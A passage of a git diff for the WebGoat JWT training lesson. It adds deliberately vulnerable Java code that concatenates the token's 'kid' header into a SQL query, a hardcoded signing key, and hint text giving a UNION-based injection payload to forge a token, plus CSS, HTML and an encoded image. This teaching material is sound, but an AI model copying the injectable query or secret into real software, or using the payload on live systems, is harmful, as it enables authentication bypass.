connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = " + kid); + while (rs.next()) { + return rs.getString(1).getBytes(Charsets.UTF_8); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }).parse(token); + if (errorMessage[0] != null) { + return trackProgress(failed().output(errorMessage[0]).build()); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return trackProgress(failed().feedback("jwt-final-jerry-account").build()); + } + if ("Tom".equals(username)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-final-not-tom").build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java new file mode 100644 index 0000000000..d04cf8ef75 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/refresh/RefreshEndpoint.java @@ -0,0 +1,9 @@ +package org.owasp.webgoat.plugin.refresh; + +public class RefreshEndpoint { + + private static final String TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJPbmxpbmUgSldUIEJ1aWxkZXIiLCJpYXQiOjE0OTUyODU3NDUsImV4cCI6MTQ5NTI4NTc0NSwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJuYW1lIjoiVG9tIiwiZW1haWwiOiJ0b21Ad2ViZ29hdC5jb20iLCJyb2xlIjoiQ2F0In0.NTd3E17JZlVKZk52Wq_AWZ0RDafV5KDRMuJner_zUn4"; + private static final String JWT_KEY = "qwertyuiopasdfghjklzxcvbnm123456"; + + +} diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/webgoat-lessons/jwt/src/main/resources/css/jwt.css index 590e2a4b09..19dd769d0c 100644 --- a/webgoat-lessons/jwt/src/main/resources/css/jwt.css +++ b/webgoat-lessons/jwt/src/main/resources/css/jwt.css @@ -9,4 +9,108 @@ a.list-group-item.active small { } .img-responsive { min-width: 100%; +} + + +.card { + font-size: 1em; + overflow: hidden; + padding: 0; + border: none; + border-radius: .28571429rem; + box-shadow: 0 1px 3px 0 #d4d4d5, 0 0 0 1px #d4d4d5; +} + +.card-block { + font-size: 1em; + position: relative; + margin: 0; + padding: 1em; + border: none; + border-top: 1px solid rgba(34, 36, 38, .1); + box-shadow: none; +} + +.card-img-top { + display: block; + width: 100%; + height: auto; +} + +.card-title { + font-size: 1.28571429em; + font-weight: 700; + line-height: 1.2857em; +} + +.card-text { + clear: both; + margin-top: .5em; + color: rgba(0, 0, 0, .68); +} + +.card-footer { + font-size: 1em; + position: static; + top: 0; + left: 0; + max-width: 100%; + padding: .75em 1em; + color: rgba(0, 0, 0, .4); + border-top: 1px solid rgba(0, 0, 0, .05) !important; + background: #fff; +} + +.card-inverse .btn { + border: 1px solid rgba(0, 0, 0, .05); +} + +.profile { + position: absolute; + top: -12px; + display: inline-block; + overflow: hidden; + box-sizing: border-box; + width: 50px; + height: 50px; + margin: 0; + border: 1px solid #fff; + border-radius: 50%; +} + +.profile-avatar { + display: block; + width: 100%; + height: auto; + border-radius: 50%; +} + +.profile-inline { + position: relative; + top: 0; + display: inline-block; +} + +.profile-inline ~ .card-title { + display: inline-block; + margin-left: 4px; + vertical-align: top; +} + +.text-bold { + font-weight: 700; +} + +.meta { + font-size: 1em; + color: rgba(0, 0, 0, .4); +} + +.meta a { + text-decoration: none; + color: rgba(0, 0, 0, .4); +} + +.meta a:hover { + color: rgba(0, 0, 0, .87); } \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index e50b9a405c..bd2326f0d5 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -106,11 +106,11 @@

Vote for your favorite

-
+
- +
Vote for your favorite action="/WebGoat/JWT/refresh/reset" enctype="application/json;charset=UTF-8">
- -
- -
-
- +
+
+
+
+ +
+
+ +
+

Tom

+
+ Tom is a grey and white domestic short hair cat.
- -
-

Vote for your favorite

+ -
+
+
+
+ + +
+
+
+
+
+ +
+
+ + +
+
+
+
+
+
+ +
+
+ +
+

Jerry

+
+ Jerry is a small, brown, house mouse. +
+
+ +
+
+
+
+ +
+
+ +
+

Tom

+
+ Tom is a grey and white domestic short hair cat. +
+
+
diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 3137cc27bc..ff7ea9f7c5 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -13,3 +13,13 @@ jwt-change-token-hint5=Submit the token by changing the algorithm to None and re jwt-secret-hint1=Save the token and try to verify the token locally jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list + +jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom +jwt-final-not-tom=Username is not Tom try to pass a token for Tom + +jwt-final-hint1=Take a look at the token and specifically and the header +jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS +jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database +jwt-final-hint4=The key is stored in the database and loaded while verifying a token +jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. +jwt-final-hint6=Use: key1' union all select 'abcdefg' limit 1,1 -- And change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/images/jerry.png b/webgoat-lessons/jwt/src/main/resources/images/jerry.png new file mode 100644 index 0000000000000000000000000000000000000000..5ed4927113851ed3d2084eedb538892fd9f20107 GIT binary patch literal 102068 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 